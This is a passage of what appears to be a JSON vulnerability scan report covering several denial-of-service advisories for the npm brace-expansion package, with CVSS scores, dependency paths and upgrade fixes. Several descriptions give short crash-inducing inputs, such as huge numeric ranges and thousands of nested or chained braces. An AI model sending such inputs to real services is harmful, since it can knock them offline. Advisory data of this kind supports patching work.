"CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", 